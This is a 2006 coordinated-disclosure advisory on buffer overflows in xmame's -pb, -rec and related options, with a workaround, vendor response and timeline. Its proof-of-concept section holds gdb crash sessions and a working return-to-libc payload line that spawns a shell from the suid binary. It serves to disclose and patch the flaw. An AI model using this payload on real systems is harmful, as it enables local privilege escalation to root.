mysec.org Security Advisory : Xmame buffer overflow, with a possibility of privilege escalation Xmame buffer overflow, with a possibility of privilege escalation mysec.org Security Advisory 11 Jan 2006 http://www.mysec.org I. BACKGROUND Xmame and xmess are ports of MAME, the Multiple Arcade Machine Emulator and MESS, the Multi Emulator Super System. They run primarily on Linux and various flavors of UNIX, although some other operating systems, such as BeOS, are supported to some degree. II. DESCRIPTION Several functions in src/fileio.c and src/unix/fileio.c did not handle large input propely. These can cause buffer overflow. Most of the distros install xmame with suid root. There is a possibility for a local user to gain root privilege. Exploitation requires an attacker to send a specially constructed input for these few arguments. -lang -ctrlr -pb -rec For Ubuntu default installation, which is version 0.86 there is a option which infaceted. -jdev III. POC POC for -pb and -rec options , other options will be base on these info. ********* * -pb ********* (gdb) r -pb `ruby -e 'print "A" * 1034'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/games/xmame.x11 -pb `ruby -e 'print "A" * 1034'` (no debugging symbols found) ** More ** (no debugging symbols found) [Thread debugging using libthread_db enabled] [New Thread -1211603264 (LWP 8770)] DGA requires root rights Use of DGA-modes is disabled (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) info: trying to parse: /etc/xmame/xmamerc error: /etc/xmame/xmamerc(71): unknown option joyusb-calibrate, ignoring line info: trying to parse: /home/xwings/.xmame/xmamerc info: trying to parse: /etc/xmame/xmame-x11rc info: trying to parse: /home/xwings/.xmame/xmame-x11rc Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1211603264 (LWP 8770)] 0x41414141 in ?? () ********** * -rec ********** (gdb) r -rec `ruby -e 'print "A" * 1020'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/xwings/coding/sploit/xmame/xmame-0.102/xmame.x11 -rec `ruby -e 'print "A" * 1020'` (no debugging symbols found) ** More ** (no debugging symbols found) info: trying to parse: /usr/local/share/xmame/xmamerc info: trying to parse: /home/xwings/.xmame/xmamerc info: trying to parse: /usr/local/share/xmame/xmame-x11rc info: trying to parse: /home/xwings/.xmame/xmame-x11rc info: trying to parse: /usr/local/share/xmame/rc/robbyrc info: trying to parse: /home/xwings/.xmame/rc/robbyrc Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () ********************* * Successful Exploit ********************* Platform : Ubuntu Xmame Version : 0.102 - Selfcompile Exploit Method : Return to Libc xwings@pauillac.<xmame-0.102>$ ./xmame.x0 -pb `ruby -e 'print "\x90" * 1016;print "\xd0\xf6\xd8\xb7";print "DUMP";print "\xaa\xf8\xff\xbf"'` info: trying to parse: /usr/local/share/xmame/xmamerc info: trying to parse: /home/xwings/.xmame/xmamerc info: trying to parse: /usr/local/share/xmame/xmame-x11rc info: trying to parse: /home/xwings/.xmame/xmame-x11rc sh-3.1$ IV. DETECTION mysec.org has confirmed this vulnerability on xmame 0.102. All previous versions are suspected vulnerable to this issue. V. WORKAROUND Disable SUID root for all the installed xmame. Do not run xmame.x11, xmame.sdl is recommended. VI. VENDOR RESPONSE Upgrade to CVS version. http://x.mame.net/download.html VIII. DISCLOSURE TIMELINE 1st Jan 2006, Initial vendor notification 2nd January 2006, Initial vendor response 11th January 2006, Vendor reply, bug fixed. 11th January 2006, Coordinated public disclosure IX. CREDIT Bug Founder : KaiJern, Lau Email : xwings <at> mysec <dot> org Thanks to all the folks pulltheplug.org.